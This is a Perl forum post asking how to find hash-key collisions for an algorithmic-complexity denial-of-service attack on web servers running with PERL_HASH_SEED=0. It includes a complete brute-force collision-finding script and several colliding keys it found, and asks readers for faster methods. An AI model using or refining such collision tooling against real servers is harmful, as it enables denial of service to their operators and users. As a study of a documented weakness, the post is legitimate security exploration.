Hello fellow Monks,

I was reading perlsec and found the following section regarding Algorithmic Complexity Attacks.

It got me wondering what it would take to mount a DoS attack against a webserver which stored user submitted strings as hash keys.

Assuming the sysadmin has set PERL_HASH_SEED=0, is there an efficient way to find colliding keys?

I came up with the following brute force script, which has yielded me one collision after a couple hours of runtime.

#! /usr/bin/env perl

use strict;
use warnings;
use autodie;
use Getopt::Long;
use Hash::Util qw(hash_value);

my $NUM_COLLISIONS = 1;
my $LENGTH         = 16;
my $REGEX;
my $VERBOSE;

GetOptions(
    'num|n=i'    => \$NUM_COLLISIONS,
    'length|l=i' => \$LENGTH,
    'regex|r=s'  => \$REGEX,
    'verbose|v'  => \$VERBOSE,
) or die "Error in command line options\n";

my $STRING = $ARGV[0]
    or die "Please supply a string to collide with\n";

my $hash_value = hash_value($STRING);

print STDOUT
    "Finding $NUM_COLLISIONS collisions for '$STRING': '$hash_value'\n
+";

my @collisions;
while ( @collisions < $NUM_COLLISIONS ) {
    my $random_string
        = rnd_str( int( rand($LENGTH) ) + 1, 'a' .. 'z', 'A' .. 'Z', 0
+ .. 9 );

    next if $random_string eq $STRING;

    if ($REGEX) {
        next unless $random_string =~ /$REGEX/;
    }

    print STDOUT "Trying '$random_string': " if $VERBOSE;

    my $test_hash_value = hash_value($random_string);

    print STDOUT $test_hash_value, "\n" if $VERBOSE;

    if ( $test_hash_value == $hash_value ) {
        push @collisions, $random_string;
        print STDERR "$random_string $test_hash_value\n";
    }
}

sub rnd_str {
    join '', @_[ map { rand @_ } 1 .. shift ];
}

[download]

I was able to find that the keys 'x', 'K1h80PEnbon', 'xVBKjDhadr0L', and 'Bz4Avmv0X83G' all have the hash key '1039123353', but it seems that finding enough keys to mount a successful DoS attack would take a very long time without thousands of processors.

Can any of you suggest a more efficient method?

Best regards,

Jim

In reply to Hash Collisions with PERL_HASH_SEED=0 by jimpudar

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